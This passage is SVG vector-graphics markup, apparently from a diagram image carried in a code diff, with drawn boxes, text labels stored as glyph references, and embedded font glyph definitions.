M 605.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 124.835938 L 611.308594 124.835938 L 611.308594 152.835938 L 191.308594 152.835938 Z M 191.308594 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 152.835938 L 191.308594 152.835938 C 191.308594 156.148438 193.996094 158.835938 197.308594 158.835938 Z M 197.308594 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 152.835938 L 605.308594 158.835938 C 608.625 158.835938 611.308594 156.148438 611.308594 152.835938 Z M 605.308594 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 20.172997 L 54.40943 20.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 22.172997 L 54.40943 22.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 20.172997 L 34.00943 20.172997 C 33.843805 20.172997 33.70943 20.307177 33.70943 20.472997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 20.472997 L 54.70943 20.472997 C 54.70943 20.307177 54.57525 20.172997 54.40943 20.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 20.472997 L 33.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 20.472997 L 54.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 21.872997 L 33.70943 21.872997 C 33.70943 22.038622 33.843805 22.172997 34.00943 22.172997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 22.172997 L 54.40943 22.172997 C 54.57525 22.172997 54.70943 22.038622 54.70943 21.872997" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 191.308594 161.433594 L 432.507812 161.433594 L 432.507812 184.832031 L 191.308594 184.832031 Z M 191.308594 161.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#x" x="191.309" y="179.836"/><use xlink:href="#y" x="199.004" y="179.836"/><use xlink:href="#z" x="203.945" y="179.836"/><use xlink:href="#A" x="208.887" y="179.836"/><use xlink:href="#A" x="216.211" y="179.836"/><use xlink:href="#y" x="223.652" y="179.836"/><use xlink:href="#B" x="228.594" y="179.836"/><use xlink:href="#C" x="232.402" y="179.836"/><use xlink:href="#D" x="239.609" y="179.836"/><use xlink:href="#D" x="247.402" y="179.836"/><use xlink:href="#z" x="255.195" y="179.836"/><use xlink:href="#A" x="260.137" y="179.836"/><use xlink:href="#E" x="267.578" y="179.836"/><use xlink:href="#E" x="273.652" y="179.836"/><use xlink:href="#F" x="279.727" y="179.836"/><use xlink:href="#B" x="281.895" y="179.836"/><use xlink:href="#G" x="285.703" y="179.836"/><use xlink:href="#H" x="291.953" y="179.836"/><use xlink:href="#I" x="295.156" y="179.836"/><use xlink:href="#H" x="304.629" y="179.836"/><use xlink:href="#B" x="306.66" y="179.836"/><use xlink:href="#J" x="310.469" y="179.836"/><use xlink:href="#K" x="318.281" y="179.836"/><use xlink:href="#L" x="325.742" y="179.836"/><use xlink:href="#F" x="333.164" y="179.836"/><use xlink:href="#B" x="335.332" y="179.836"/><use xlink:href="#M" x="339.141" y="179.836"/><use xlink:href="#K" x="345.254" y="179.836"/><use xlink:href="#N" x="353.027" y="179.836"/><use xlink:href="#O" x="364.746" y="179.836"/><use xlink:href="#C" x="372.578" y="179.836"/><use xlink:href="#P" x="379.785" y="179.836"/><use xlink:href="#Q" x="387.695" y="179.836"/><use xlink:href="#B" x="393.984" y="179.836"/><use xlink:href="#P" x="397.793" y="179.836"/><use xlink:href="#C" x="405.703" y="179.836"/><use xlink:href="#N" x="412.91" y="179.836"/><use xlink:href="#A" x="424.629" y="179.836"/></g><path d="M 48.115289 24.841552 L 44.652789 24.83745" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 44.652789 24.83745 C 44.652789 24.71245 44.777984 24.587645 44.902984 24.587645 C 45.027984 24.587841 45.152789 24.713036 45.152789 24.838036 C 45.152594 24.963036 45.027398 25.087841 44.902398 25.087645 C 44.777398 25.087645 44.652594 24.96245 44.652789 24.83745" transform="matrix(20 0 0 20 -482.88 -284.624)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 81.667969 207.042969 L 176.96875 207.042969 L 176.96875 233.292969 L 81.667969 233.292969 Z M 81.667969 207.042969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#n" x="83.082" y="227.691"/><use xlink:href="#o" x="93.102" y="227.691"/><use xlink:href="#o" x="102.008" y="227.691"/><use xlink:href="#p" x="110.914" y="227.691"/><use xlink:href="#q" x="116.773" y="227.691"/><use xlink:href="#r" x="125.328" y="227.691"/><use xlink:href="#s" x="132.32" y="227.691"/><use xlink:href="#t" x="136.422" y="227.691"/><use xlink:href="#u" x="141.285" y="227.691"/><use xlink:href="#v" x="145.777" y="227.691"/><use xlink:href="#q" x="154.762" y="227.691"/><use xlink:href="#s" x="163.316" y="227.691"/><use xlink:href="#R" x="167.418" y="227.691"/><path d="M 197.308594 200.167969 L 605.308594 200.167969 L 605.308594 240.167969 L 197.308594 240.167969 Z M 197.308594 200.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 206.167969 L 197.308594 200.167969 C 193.996094 200.167969 191.308594 202.855469 191.308594 206.167969 Z M 197.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 206.167969 L 611.308594 206.167969 C 611.308594 202.855469 608.625 200.167969 605.308594 200.167969 Z M 605.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 206.167969 L 611.308594 206.167969 L 611.308594 234.167969 L 191.308594 234.167969 Z M 191.308594 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 234.167969 L 191.308594 234.167969 C 191.308594 237.480469 193.996094 240.167969 197.308594 240.167969 Z M 197.308594 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 234.167969 L 605.308594 240.167969 C 608.625 240.167969 611.308594 237.480469 611.308594 234.167969 Z M 605.308594 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 24.239598 L 54.40943 24.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 26.239598 L 54.40943 26.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 24.239598 L 34.00943 24.239598 C 33.843805 24.239598 33.70943 24.373973 33.70943 24.539598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 24.539598 L 54.70943 24.539598 C 54.70943 24.373973 54.57525 24.239598 54.40943 24.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 24.539598 L 33.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 24.539598 L 54.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 25.939598 L 33.70943 25.939598 C 33.70943 26.105223 33.843805 26.239598 34.00943 26.239598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 26.239598 L 54.40943 26.239598 C 54.57525 26.239598 54.70943 26.105223 54.70943 25.939598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 190.808594 242.433594 L 415.707031 242.433594 L 415.707031 265.832031 L 190.808594 265.832031 Z M 190.808594 242.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#S" x="190.809" y="260.836"/><use xlink:href="#O" x="199.324" y="260.836"/><use xlink:href="#C" x="207.156" y="260.836"/><use xlink:href="#z" x="214.363" y="260.836"/><use xlink:href="#y" x="219.734" y="260.836"/><use xlink:href="#N" x="224.676" y="260.836"/><use xlink:href="#A" x="236.395" y="260.836"/><use xlink:href="#P" x="243.836" y="260.836"/><use xlink:href="#y" x="251.746" y="260.836"/><use xlink:href="#F" x="256.688" y="260.836"/><use xlink:href="#B" x="258.855" y="260.836"/><use xlink:href="#E" x="262.664" y="260.836"/><use xlink:href="#T" x="268.738" y="260.836"/><use xlink:href="#U" x="276.551" y="260.836"/><use xlink:href="#y" x="280.457" y="260.836"/><use xlink:href="#A" x="285.281" y="260.836"/><use xlink:href="#F" x="292.723" y="260.836"/><use xlink:href="#B" x="294.891" y="260.836"/><use xlink:href="#T" x="298.699" y="260.836"/><use xlink:href="#P" x="306.512" y="260.836"/><use xlink:href="#U" x="314.422" y="260.836"/><use xlink:href="#y" x="318.328" y="260.836"/><use xlink:href="#F" x="323.27" y="260.836"/><use xlink:href="#B" x="325.438" y="260.836"/><use xlink:href="#J" x="329.246" y="260.836"/><use xlink:href="#T" x="337.059" y="260.836"/><use xlink:href="#U" x="344.871" y="260.836"/><use xlink:href="#V" x="348.777" y="260.836"/><use xlink:href="#D" x="352.977" y="260.836"/><use xlink:href="#U" x="360.77" y="260.836"/><use xlink:href="#P" x="364.676" y="260.836"/><use xlink:href="#W" x="372.586" y="260.836"/><use xlink:href="#F" x="380.359" y="260.836"/><use xlink:href="#B" x="382.527" y="260.836"/><use xlink:href="#X" x="386.336" y="260.836"/><use xlink:href="#K" x="394.773" y="260.836"/><use xlink:href="#K" x="402.547" y="260.836"/><use xlink:href="#z" x="410.32" y="260.836"/></g><path d="M 148.910156 290.542969 L 176.308594 290.542969 L 176.308594 316.792969 L 148.910156 316.792969 Z M 148.910156 290.542969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#Y" x="149.238" y="311.191"/><use xlink:href="#u" x="158.379" y="311.191"/><use xlink:href="#Z" x="162.871" y="311.191"/><use xlink:href="#aa" x="168.301" y="311.191"/><path d="M 197.308594 283.667969 L 385.308594 283.667969 L 385.308594 323.667969 L 197.308594 323.667969 Z M 197.308594 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 289.667969 L 197.308594 283.667969 C 193.996094 283.667969 191.308594 286.355469 191.308594 289.667969 Z M 197.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.308594 289.667969 L 391.308594 289.667969 C 391.308594 286.355469 388.625 283.667969 385.308594 283.667969 Z M 385.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 289.667969 L 391.308594 289.667969 L 391.308594 317.667969 L 191.308594 317.667969 Z M 191.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 317.667969 L 191.308594 317.667969 C 191.308594 320.980469 193.996094 323.667969 197.308594 323.667969 Z M 197.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 385.308594 317.667969 L 385.308594 323.667969 C 388.625 323.667969 391.308594 320.980469 391.308594 317.667969 Z M 385.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 28.414598 L 43.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 30.414598 L 43.40943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 28.414598 L 34.00943 28.414598 C 33.843805 28.414598 33.70943 28.548973 33.70943 28.714598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.70943 28.714598 L 43.70943 28.714598 C 43.70943 28.548973 43.57525 28.414598 43.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 28.714598 L 33.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.70943 28.714598 L 43.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 30.114598 L 33.70943 30.114598 C 33.70943 30.280223 33.843805 30.414598 34.00943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 43.40943 30.414598 L 43.40943 30.414598 C 43.57525 30.414598 43.70943 30.280223 43.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 113.960938 361.773438 L 176.3125 361.773438 L 176.3125 388.023438 L 113.960938 388.023438 Z M 113.960938 361.773438" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#ab" x="114.883" y="382.422"/><use xlink:href="#ac" x="123.789" y="382.422"/><use xlink:href="#ad" x="128.555" y="382.422"/><use xlink:href="#s" x="137.461" y="382.422"/><use xlink:href="#Y" x="141.348" y="382.422"/><use xlink:href="#ae" x="149.941" y="382.422"/><use xlink:href="#o" x="158.848" y="382.422"/><use xlink:href="#q" x="167.754" y="382.422"/></g><path d="M 197.308594 354.894531 L 305.308594 354.894531 L 305.308594 394.894531 L 197.308594 394.894531 Z M 197.308594 354.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 360.894531 L 197.308594 354.894531 C 193.996094 354.894531 191.308594 357.582031 191.308594 360.894531 Z M 197.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.308594 360.894531 L 311.308594 360.894531 C 311.308594 357.582031 308.625 354.894531 305.308594 354.894531 Z M 305.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.308594 360.894531 L 311.308594 360.894531 L 311.308594 388.894531 L 191.308594 388.894531 Z M 191.308594 360.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.308594 388.894531 L 191.308594 388.894531 C 191.308594 392.210938 193.996094 394.894531 197.308594 394.894531 Z M 197.308594 388.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 305.308594 388.894531 L 305.308594 394.894531 C 308.625 394.894531 311.308594 392.210938 311.308594 388.894531 Z M 305.308594 388.894531" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.00943 31.975927 L 39.40943 31.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 33.975927 L 39.40943 33.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.00943 31.975927 L 34.00943 31.975927 C 33.843805 31.975927 33.70943 32.110302 33.70943 32.275927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.70943 32.275927 L 39.70943 32.275927 C 39.70943 32.110302 39.57525 31.975927 39.40943 31.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 32.275927 L 33.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.70943 32.275927 L 39.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.70943 33.675927 L 33.70943 33.675927 C 33.70943 33.841747 33.843805 33.975927 34.00943 33.975927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 39.40943 33.975927 L 39.40943 33.975927 C 39.57525 33.975927 39.70943 33.841747 39.70943 33.675927" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 477.308594 283.667969 L 605.308594 283.667969 L 605.308594 323.667969 L 477.308594 323.667969 Z M 477.308594 283.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.308594 289.667969 L 477.308594 283.667969 C 473.996094 283.667969 471.308594 286.355469 471.308594 289.667969 Z M 477.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 289.667969 L 611.308594 289.667969 C 611.308594 286.355469 608.625 283.667969 605.308594 283.667969 Z M 605.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 471.308594 289.667969 L 611.308594 289.667969 L 611.308594 317.667969 L 471.308594 317.667969 Z M 471.308594 289.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 477.308594 317.667969 L 471.308594 317.667969 C 471.308594 320.980469 473.996094 323.667969 477.308594 323.667969 Z M 477.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.308594 317.667969 L 605.308594 323.667969 C 608.625 323.667969 611.308594 320.980469 611.308594 317.667969 Z M 605.308594 317.667969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 48.00943 28.414598 L 54.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.00943 30.414598 L 54.40943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 48.00943 28.414598 L 48.00943 28.414598 C 47.843805 28.414598 47.70943 28.548973 47.70943 28.714598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 28.714598 L 54.70943 28.714598 C 54.70943 28.548973 54.57525 28.414598 54.40943 28.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.70943 28.714598 L 47.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.70943 28.714598 L 54.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 47.70943 30.114598 L 47.70943 30.114598 C 47.70943 30.280223 47.843805 30.414598 48.00943 30.414598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.40943 30.414598 L 54.40943 30.414598 C 54.57525 30.414598 54.70943 30.280223 54.70943 30.114598" transform="matrix(20 0 0 20 -482.88 -284.624)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 422.511719 290.542969 L 460.3125 290.542969 L 460.3125 316.792969 L 422.511719 316.792969 Z M 422.511719 290.542969" fill-rule="evenodd" fill="#fff"/><g><use xlink:href="#af" x="423.063" y="311.191"/><use xlink:href="#Z" x="431.852" y="311.191"/><use xlink:href="#ag" x="437.672" y="311.191"/><use xlink:href="#Z" x="445.934" y="311.191"/><use xlink:href="#q" x="451.754" y="311.191"/></g></svg>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 707 453"><defs><symbol overflow="visible" id="a"><path style="stroke:none" d="M1.281-13.86a6.254 6.254 0 0 1 1.36-.234c.476-.039.953-.062 1.421-.062.532 0 1.055.062 1.579.187.52.117.988.336 1.406.656.426.313.766.75 1.016 1.313.257.563.39 1.277.39 2.14 0 .844-.125 1.56-.375 2.141-.242.586-.562 1.063-.969 1.438a3.698 3.698 0 0 1-1.406.797 5.272 5.272 0 0 1-1.625.25h-.266a10.596 10.596 0 0 1-.766-.047 1.822 1.822 0 0 1-.265-.032V0h-1.5zm2.86 1.079c-.274 0-.532.011-.782.031a3.635 3.635 0 0 0-.578.094v5.953a.56.56 0 0 0 .25.062c.114 0 .227.008.344.016h.61a4.08 4.08 0 0 0 1.078-.14c.343-.094.644-.258.906-.5.27-.25.488-.583.656-1 .164-.426.25-.958.25-1.594 0-.563-.078-1.024-.234-1.391a2.41 2.41 0 0 0-.594-.906 2.06 2.06 0 0 0-.86-.485 3.87 3.87 0 0 0-1.046-.14zm0 0"/></symbol><symbol overflow="visible" id="b"><path style="stroke:none" d="M.734-5c0-1.8.305-3.125.922-3.969.625-.844 1.508-1.265 2.657-1.265 1.226 0 2.132.433 2.718 1.296.582.868.875 2.18.875 3.938 0 1.813-.32 3.14-.953 3.984-.625.836-1.508 1.25-2.64 1.25-1.22 0-2.122-.43-2.704-1.296C1.023-1.926.734-3.239.734-5zm1.5 0c0 .586.036 1.117.11 1.594.07.48.191.898.36 1.25.163.344.382.617.655.812.27.188.586.282.954.282.695 0 1.218-.305 1.562-.922.352-.625.531-1.63.531-3.016 0-.57-.039-1.098-.11-1.578a4.47 4.47 0 0 0-.359-1.25c-.167-.352-.386-.625-.656-.813a1.62 1.62 0 0 0-.968-.296c-.68 0-1.196.312-1.547.937-.356.625-.532 1.625-.532 3zm0 0"/></symbol><symbol overflow="visible" id="c"><path style="stroke:none" d="M1.016-1.64a4.6 4.6 0 0 0 .953.406c.363.117.738.171 1.125.171.445 0 .82-.109 1.125-.328.312-.218.468-.57.468-1.062 0-.414-.093-.754-.28-1.016a3.06 3.06 0 0 0-.72-.719 6.653 6.653 0 0 0-.921-.593 5.605 5.605 0 0 1-.938-.657 3.284 3.284 0 0 1-.703-.89C.937-6.68.844-7.125.844-7.656c0-.852.226-1.492.687-1.922.457-.438 1.11-.656 1.953-.656.54 0 1.008.054 1.407.156.406.094.754.226 1.046.39l-.375 1.204a4.009 4.009 0 0 0-.875-.329 4.333 4.333 0 0 0-1.03-.124c-.481 0-.829.101-1.048.296-.218.2-.328.512-.328.938 0 .336.094.621.281.86.188.23.422.445.704.64.289.187.601.387.937.594.332.199.64.433.922.703.29.273.531.601.719.984.187.375.281.852.281 1.422 0 .375-.063.73-.188 1.063a2.273 2.273 0 0 1-.546.875c-.25.242-.559.433-.922.578a3.478 3.478 0 0 1-1.282.218c-.593 0-1.105-.058-1.53-.172-.43-.101-.79-.25-1.079-.437zm0 0"/></symbol><symbol overflow="visible" id="d"><path style="stroke:none" d="M.188-10h1.218v-1.984l1.438-.454V-10H5v1.297H2.844v5.969c0 .586.066 1.007.203 1.265.144.262.375.39.687.39.27 0 .5-.03.688-.093.195-.062.41-.14.64-.234l.282 1.14a4.299 4.299 0 0 1-.969.344 4.34 4.34 0 0 1-1.11.14c-.667 0-1.148-.214-1.437-.64-.281-.437-.422-1.144-.422-2.125v-6.156H.188zm0 0"/></symbol><symbol overflow="visible" id="e"><path style="stroke:none" d="M1.078-9.406c.383-.239.852-.422 1.406-.547a7.435 7.435 0 0 1 1.75-.203c.563 0 1.008.086 1.344.25.344.168.613.398.813.687.195.281.32.606.375.969.062.367.093.75.093 1.156 0 .793-.015 1.57-.046 2.328a53.04 53.04 0 0 0-.047 2.172c0 .5.015.969.046 1.406.032.43.094.84.188 1.235H5.906l-.343-1.188h-.079a2.73 2.73 0 0 1-.89.907C4.207.016 3.69.14 3.047.14c-.73 0-1.324-.25-1.781-.75-.461-.5-.688-1.192-.688-2.079 0-.57.094-1.05.281-1.437.196-.383.473-.695.829-.938a3.346 3.346 0 0 1 1.265-.5 7.995 7.995 0 0 1 1.625-.156h.406c.133 0 .274.008.422.016.032-.406.047-.77.047-1.094 0-.758-.117-1.289-.344-1.594-.218-.312-.632-.468-1.234-.468a4.89 4.89 0 0 0-1.219.171 4.705 4.705 0 0 0-1.094.422zm4.344 4.844c-.137-.008-.274-.016-.406-.016-.137-.008-.266-.016-.391-.016-.324 0-.64.028-.953.078a2.594 2.594 0 0 0-.813.282 1.485 1.485 0 0 0-.578.53c-.136.231-.203.517-.203.86 0 .531.129.95.39 1.25.259.293.598.438 1.016.438.551 0 .977-.13 1.282-.39.312-.27.53-.567.656-.891zm0 0"/></symbol><symbol overflow="visible" id="f"><path style="stroke:none" d="M2.719-2.375c0 .46.062.793.187 1 .125.2.301.297.531.297.282 0 .61-.07.985-.219l.14 1.156c-.18.106-.421.188-.734.25-.312.07-.594.11-.844.11-.511 0-.921-.157-1.234-.469-.313-.313-.469-.863-.469-1.656V-14H2.72zm0 0"/></symbol><symbol overflow="visible" id="g"><path style="stroke:none" d="M6.656-3.922H2.703L1.578 0H.094l4.218-14.219h.829L9.359 0H7.797zM3.094-5.266h3.203L5.078-9.578l-.375-2.11h-.047l-.375 2.141zm0 0"/></symbol><symbol overflow="visible" id="h"><path style="stroke:none" d="M7.484-3.438c0 .68.004 1.293.016 1.844.008.555.055 1.102.14 1.64h-.984l-.312-1.202h-.078c-.188.398-.485.73-.891 1-.398.258-.875.39-1.438.39-1.085 0-1.89-.414-2.421-1.25C.992-1.859.734-3.18.734-4.984c0-1.707.32-3 .97-3.875.655-.883 1.546-1.329 2.671-1.329.383 0 .691.028.922.079.226.043.476.12.75.234V-14h1.437zM6.047-8.421a1.848 1.848 0 0 0-.64-.344c-.231-.07-.54-.109-.923-.109-.71 0-1.261.324-1.656.969-.398.636-.594 1.62-.594 2.953 0 .586.036 1.117.11 1.594.07.468.187.875.344 1.218.156.344.351.61.593.797.25.188.555.282.922.282.957 0 1.57-.567 1.844-1.704zm0 0"/></symbol><symbol overflow="visible" id="i"><path style="stroke:none" d="M1.188-10h1.015l.25 1.063h.063c.187-.383.43-.688.734-.907.3-.226.664-.344 1.094-.344.3 0 .644.063 1.031.188l-.281 1.453a2.973 2.973 0 0 0-.907-.172c-.43 0-.777.125-1.046.375-.274.242-.446.57-.516.985V0H1.187zm0 0"/></symbol><symbol overflow="visible" id="j"><path style="stroke:none" d="M7.156-.688c-.312.305-.718.532-1.218.688a5.128 5.128 0 0 1-1.563.234c-.625 0-1.168-.12-1.625-.359-.46-.25-.84-.602-1.14-1.063-.305-.457-.528-1.003-.673-1.64A10.503 10.503 0 0 1 .734-5c0-1.707.313-3.004.938-3.89.633-.895 1.523-1.344 2.672-1.344.375 0 .742.046 1.11.14.362.094.69.281.984.563.289.273.523.664.703 1.172.187.511.28 1.171.28 1.984 0 .219-.01.46-.03.719-.024.261-.047.531-.079.812H2.234c0 .574.047 1.094.141 1.563.094.469.238.87.438 1.203.207.324.468.574.78.75.313.18.704.266 1.173.266.351 0 .707-.063 1.062-.188.352-.133.625-.297.813-.484zm-1.11-5.359c.02-1-.124-1.726-.437-2.187-.304-.47-.718-.704-1.25-.704-.617 0-1.105.235-1.468.704-.356.46-.563 1.187-.625 2.187zm0 0"/></symbol><symbol overflow="visible" id="k"><path style="stroke:none" d="M8.656-12.625H5.22V0h-1.5v-12.625H.28V-14h8.375zm0 0"/></symbol><symbol overflow="visible" id="l"><path style="stroke:none" d="m3.656-3.547.422 1.953h.11l.296-1.953L6-10h1.453L5.078-1.016A57.87 57.87 0 0 1 4.516 1a11.53 11.53 0 0 1-.61 1.625c-.219.457-.465.816-.734 1.078-.274.258-.594.39-.969.39s-.703-.058-.984-.171l.234-1.36c.188.063.375.07.563.032.187-.031.363-.14.53-.328.165-.188.317-.47.454-.844.145-.367.27-.84.375-1.422L.141-10h1.64zm0 0"/></symbol><symbol overflow="visible" id="m"><path style="stroke:none" d="M1.188-10h1.015l.219 1.078H2.5c.488-.875 1.258-1.312 2.313-1.312 1.062 0 1.851.398 2.375 1.187.53.781.796 2.063.796 3.844 0 .844-.09 1.605-.265 2.281-.18.668-.43 1.242-.75 1.719A3.27 3.27 0 0 1 5.812-.125c-.46.238-.968.36-1.53.36-.387 0-.696-.028-.923-.079a2.43 2.43 0 0 1-.734-.281V4H1.187zm1.437 8.422c.188.156.395.281.625.375.227.094.54.14.938.14.695 0 1.253-.359 1.671-1.078.414-.718.625-1.742.625-3.078 0-.562-.039-1.066-.109-1.515a4.02 4.02 0 0 0-.36-1.172 1.925 1.925 0 0 0-.609-.766c-.242-.176-.543-.265-.906-.265-.969 0-1.594.593-1.875 1.78zm0 0"/></symbol><symbol overflow="visible" id="n"><path style="stroke:none" d="M6.563-3.156H3.265L2.437 0h-2.5L4-14.094h1.984L10.063 0H7.421zM3.796-5.234h2.328L5.312-8.5 5-10.703h-.078l-.344 2.219zm0 0"/></symbol><symbol overflow="visible" id="o"><path style="stroke:none" d="M8.047-3.516c0 .555.004 1.11.015 1.672.008.563.063 1.184.157 